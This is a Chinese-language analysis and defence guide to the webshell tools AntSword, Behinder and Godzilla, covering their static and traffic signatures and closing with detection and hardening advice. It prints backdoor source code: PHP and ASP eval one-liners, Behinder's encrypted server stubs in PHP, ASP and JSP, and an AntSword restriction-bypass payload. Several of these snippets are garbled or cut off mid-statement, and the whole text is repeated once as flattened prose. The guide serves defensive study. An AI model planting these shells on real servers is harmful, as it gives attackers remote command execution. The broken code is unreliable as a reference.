WebShell 特征分析
字数 1626 2025-08-10 22:07:53

WebShell特征分析与防御指南

1. WebShell概述

WebShell是一种恶意脚本,黑客通过上传这类脚本文件获得服务器的执行操作权限。常见的WebShell编写语言包括ASP、JSP和PHP。

1.1 WebShell的主要用途

  • 网站管理
  • 服务器管理
  • 权限管理
  • 作为后门程序控制网站服务器

1.2 常见一句话木马示例

<?php eval($_POST['shell']); ?>

2. 常见WebShell工具分析

2.1 蚁剑(AntSword)

2.1.1 基本介绍

  • 开源跨平台网站管理工具
  • GitHub项目地址: https://github.com/AntSwordProject/antSword

2.1.2 静态特征

  • PHP中使用asserteval等命令执行函数
  • 通过create_function创建方法调用eval($_POST['ant'])
  • ASP使用eval命令执行
  • JSP使用Java类加载(ClassLoader),带有base64编码解码特征

2.1.3 动态特征

  • 请求体开头通常包含:
    @ini_set("display_errors","0");@set_time_limit(0)
    
  • 结果返回格式:随机数+结果+随机数
  • 使用base64编码器/解码器连接
  • 随机生成参数传入base64编码后的代码

2.1.4 典型代码结构

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");
if($opdir) {
  $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
  $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
  @array_push($oparr,$ocwd,sys_get_temp_dir());
  foreach($oparr as $item) {
    if(!@is_writable($item)) { continue; }
    $tmdir=$item."/.f5fe04b0758";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)) { continue; }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir"cntarr=@preg_split(tmdir);
    for ($i=0;$i<sizeof($cntarr);$i++) {
      @chdir(ini_set("open_basedir"rmdir($tmdir);
      break;
    }
  }
}

2.2 冰蝎(Behinder)

2.2.1 基本介绍

  • 动态二进制加密网站管理客户端
  • GitHub地址: https://github.com/rebeyond/Behinder

2.2.2 主要功能

  • 基本信息查看
  • 命令执行
  • 虚拟终端
  • 文件管理
  • Socks代理
  • 反弹shell
  • 数据库管理
  • 自定义代码

2.2.3 加密原理

  • 服务端支持open_ssl时使用AES加密算法(密钥长度16位)
  • 内存需求低,适合流量加密

2.2.4 静态特征

PHP版本特征:

<?php@error_reporting(0);session_start(); 
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位
$_SESSION['k']=$key; 
session_write_close(); 
$post=file_get_contents("php://input"); 
if(!extension_loaded('openssl')) {
  $t="base64_"."decode"; 
  $post=$t($post.""); 
  for($i=0;$i<strlen($post);$i++) {
    $post[$i] = $post[$i]^$key[$i+1&15]; 
  }
} else {
  $post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post); 
$func=$arr[0]; 
$params=$arr[1]; 
class C{public function __invoke($p) {eval($p.call_user_func(new C(),$params);?>

ASP版本特征:

<%Response.CharSet = "UTF-8" 
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
  result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)%>

JSP版本特征:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader {
  U(ClassLoader c) { super(c); }
  public Class g(byte []b) { return super.defineClass(b,0,b.length)
  if (request.getMethod().equals("POST")) {
    String k="e45e329feb5d925b"; /*该密钥为连接密码32位md5值的前16位*/
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  }%>

2.2.5 动态特征

  • 连接过程中存在客户端和服务器之间交换AES密钥的环节
  • 请求包通常包含base64编码内容
  • 执行流程:Payload -> base64加密 -> eval执行 -> AES对称加密 -> 传输

2.3 哥斯拉(Godzilla)

2.3.1 基本介绍

  • GitHub下载地址: https://github.com/BeichenDream/Godzilla

2.3.2 静态特征

  • JSP文件木马中常见"xc"、"pass"字符和Java反射特征
  • PHP和ASP版本多为普通一句话木马:
    <?php eval($_POST["shell"])?>
    
    <%eval request("pass")%>
    

2.3.3 动态特征

  • 所有请求中包含:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    
  • 所有响应中包含:
    Cache-Control: no-store, no-cache, must-revalidate
    
  • 执行流程:AES加密 -> Base64编码 -> MD5认证 -> 执行代码

2.3.4 功能函数

包含20多个功能函数,如:

  • run
  • bypass_open_basedir
  • formatParameter
  • evalFunc
  • 代码执行
  • 文件操作
  • 数据库操作等

3. WebShell检测与防御

3.1 静态检测方法

  1. 文件扫描:定期扫描网站目录中的可疑文件
  2. 特征匹配:匹配已知WebShell的特征字符串
  3. 文件完整性检查:对比文件哈希值与原始版本

3.2 动态检测方法

  1. 流量分析:监控异常的网络请求模式
  2. 行为分析:检测异常的系统调用和文件操作
  3. 日志分析:检查访问日志中的可疑活动

3.3 防御措施

  1. 文件上传限制

    • 限制上传文件类型
    • 设置文件大小限制
    • 重命名上传文件
  2. 权限控制

    • 最小权限原则
    • 禁用危险函数(如eval、system等)
    • 设置open_basedir限制
  3. 系统加固

    • 保持系统和应用更新
    • 禁用不必要的服务和功能
    • 使用Web应用防火墙(WAF)
  4. 监控与响应

    • 实施实时监控
    • 建立应急响应流程
    • 定期安全审计

4. 总结

WebShell是常见的网站后门工具,蚁剑、冰蝎和哥斯拉是当前流行的WebShell管理工具。它们各有特点,但都试图通过加密和混淆来绕过安全检测。有效的防御需要结合静态和动态检测方法,并实施全面的安全措施。

WebShell特征分析与防御指南 1. WebShell概述 WebShell是一种恶意脚本,黑客通过上传这类脚本文件获得服务器的执行操作权限。常见的WebShell编写语言包括ASP、JSP和PHP。 1.1 WebShell的主要用途 网站管理 服务器管理 权限管理 作为后门程序控制网站服务器 1.2 常见一句话木马示例 2. 常见WebShell工具分析 2.1 蚁剑(AntSword) 2.1.1 基本介绍 开源跨平台网站管理工具 GitHub项目地址: https://github.com/AntSwordProject/antSword 2.1.2 静态特征 PHP中使用 assert 、 eval 等命令执行函数 通过 create_function 创建方法调用 eval($_POST['ant']) ASP使用 eval 命令执行 JSP使用Java类加载( ClassLoader ),带有base64编码解码特征 2.1.3 动态特征 请求体开头通常包含: 结果返回格式:随机数+结果+随机数 使用base64编码器/解码器连接 随机生成参数传入base64编码后的代码 2.1.4 典型代码结构 2.2 冰蝎(Behinder) 2.2.1 基本介绍 动态二进制加密网站管理客户端 GitHub地址: https://github.com/rebeyond/Behinder 2.2.2 主要功能 基本信息查看 命令执行 虚拟终端 文件管理 Socks代理 反弹shell 数据库管理 自定义代码 2.2.3 加密原理 服务端支持open_ ssl时使用AES加密算法(密钥长度16位) 内存需求低,适合流量加密 2.2.4 静态特征 PHP版本特征: ASP版本特征: JSP版本特征: 2.2.5 动态特征 连接过程中存在客户端和服务器之间交换AES密钥的环节 请求包通常包含base64编码内容 执行流程:Payload -> base64加密 -> eval执行 -> AES对称加密 -> 传输 2.3 哥斯拉(Godzilla) 2.3.1 基本介绍 GitHub下载地址: https://github.com/BeichenDream/Godzilla 2.3.2 静态特征 JSP文件木马中常见"xc"、"pass"字符和Java反射特征 PHP和ASP版本多为普通一句话木马: 2.3.3 动态特征 所有请求中包含: 所有响应中包含: 执行流程:AES加密 -> Base64编码 -> MD5认证 -> 执行代码 2.3.4 功能函数 包含20多个功能函数,如: run bypass_open_basedir formatParameter evalFunc 代码执行 文件操作 数据库操作等 3. WebShell检测与防御 3.1 静态检测方法 文件扫描 :定期扫描网站目录中的可疑文件 特征匹配 :匹配已知WebShell的特征字符串 文件完整性检查 :对比文件哈希值与原始版本 3.2 动态检测方法 流量分析 :监控异常的网络请求模式 行为分析 :检测异常的系统调用和文件操作 日志分析 :检查访问日志中的可疑活动 3.3 防御措施 文件上传限制 : 限制上传文件类型 设置文件大小限制 重命名上传文件 权限控制 : 最小权限原则 禁用危险函数(如eval、system等) 设置open_ basedir限制 系统加固 : 保持系统和应用更新 禁用不必要的服务和功能 使用Web应用防火墙(WAF) 监控与响应 : 实施实时监控 建立应急响应流程 定期安全审计 4. 总结 WebShell是常见的网站后门工具,蚁剑、冰蝎和哥斯拉是当前流行的WebShell管理工具。它们各有特点,但都试图通过加密和混淆来绕过安全检测。有效的防御需要结合静态和动态检测方法,并实施全面的安全措施。